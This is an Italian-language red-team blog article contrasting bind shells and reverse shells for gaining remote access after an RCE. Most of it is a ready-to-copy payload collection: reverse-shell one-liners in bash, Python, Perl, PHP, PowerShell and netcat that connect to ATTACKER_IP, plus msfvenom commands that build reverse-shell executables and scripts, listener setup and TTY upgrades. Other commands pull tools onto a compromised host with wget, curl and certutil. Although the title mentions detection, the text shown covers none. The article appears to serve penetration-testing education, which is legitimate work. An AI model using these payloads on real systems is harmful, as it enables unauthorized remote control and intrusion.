← Torna agli articoli

Red Team · 03 January 2026

Reverse shell e bind shell: differenze, uso e detection

Reverse Shell e Bind Shell: ottenere accesso remoto

Introduzione

Hai trovato una vulnerabilità che ti permette di eseguire comandi su un server remoto, una RCE (Remote Code Execution). Ottimo. Ma come trasformi questo in una sessione interattiva che puoi usare comodamente?

La risposta sono le shell remote: meccanismi per ottenere una riga di comando su un sistema remoto. Le due varianti principali sono la bind shell e la reverse shell.


Bind Shell vs Reverse Shell

Bind Shell

Il target apre una porta in ascolto. L’attaccante si connette a quella porta.

[Attaccante] ──── CONNECT ──→ [Target:porta_x] → shell

Problema: i firewall bloccano le connessioni in ingresso verso porte insolite. La bind shell funziona raramente in ambienti reali.

Reverse Shell

Il target si connette all’attaccante. L’attaccante ascolta in attesa della connessione.

[Attaccante:porta_x] ←── CONNECT ── [Target]

Vantaggio: i firewall di solito permettono il traffico in uscita. La reverse shell funziona anche in reti con firewall restrittivi.

La reverse shell è il metodo standard nei pentest moderni.


Setup dell’attaccante: mettersi in ascolto

Prima di lanciare qualsiasi payload sul target, devi essere in ascolto.

Netcat (nc)

nc -lvnp 4444
# -l  → listen mode
# -v  → verbose
# -n  → no DNS lookup
# -p  → porta

Rlwrap (migliora l’esperienza)

La shell ricevuta via netcat è primitiva, niente frecce, niente tab, niente CTRL+C senza perdere la sessione.

rlwrap nc -lvnp 4444

Metasploit multi/handler

Per ricevere shell Meterpreter o shell avanzate:

use exploit/multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST TUO_IP
set LPORT 4444
run

Payload per reverse shell

Bash

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Python

# Python 3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP (utile dopo RCE su web server)

php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell (Windows)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Netcat (se disponibile sul target)

nc -e /bin/sh ATTACKER_IP 4444
# Versioni vecchie di nc (-e non sempre disponibile)

# Alternativa senza -e
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f

RevShells.com

Non devi memorizzare tutti questi payload. Il sito revshells.com genera automaticamente il payload giusto per il sistema e il linguaggio che ti serve, basta inserire IP e porta.


msfvenom: creare payload compilati

Per sistemi dove non puoi eseguire comandi shell direttamente, crei un eseguibile:

# Eseguibile Windows (.exe)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

# Script PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.php

# Script Python
msfvenom -p cmd/unix/reverse_python LHOST=ATTACKER_IP LPORT=4444 -f raw -o shell.py

# Payload Meterpreter (più potente della shell classica)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o met.exe

Upgrade della shell: da dumb shell a TTY

La shell ricevuta è spesso una “dumb shell”, niente tab completion, niente editor, CTRL+C termina tutto.

# Step 1: spawn di una pseudo-TTY con Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: background della shell con CTRL+Z

# Step 3: nella tua macchina
stty raw -echo; fg

# Step 4: di nuovo nella shell remota
export TERM=xterm
stty rows 40 cols 200   # adatta alle dimensioni del tuo terminale

Ora hai una shell completamente interattiva.


Trasferire file sul target

Una volta dentro, spesso hai bisogno di caricare tool (LinPEAS, Chisel, ecc.).

# Avvia server HTTP sulla tua macchina
python3 -m http.server 8080

# Sul target Linux
wget http://ATTACKER_IP:8080/tool.sh
curl -o tool.sh http://ATTACKER_IP:8080/tool.sh

# Sul target Windows (PowerShell)
Invoke-WebRequest -Uri "http://ATTACKER_IP:8080/tool.exe" -OutFile "C:\temp\tool.exe"
certutil -urlcache -split -f "http://ATTACKER_IP:8080/tool.exe" tool.exe

Conclusione

Le reverse shell sono il pane quotidiano del penetration tester. Impara a memoria almeno il payload bash e quello PowerShell, e tieni a portata di mano revshells.com per il resto.

La parte più importante è il setup del listener prima di lanciare il payload, quante volte si vede un principiante che lancia il payload e poi si chiede perché non funziona senza aver avviato il listener…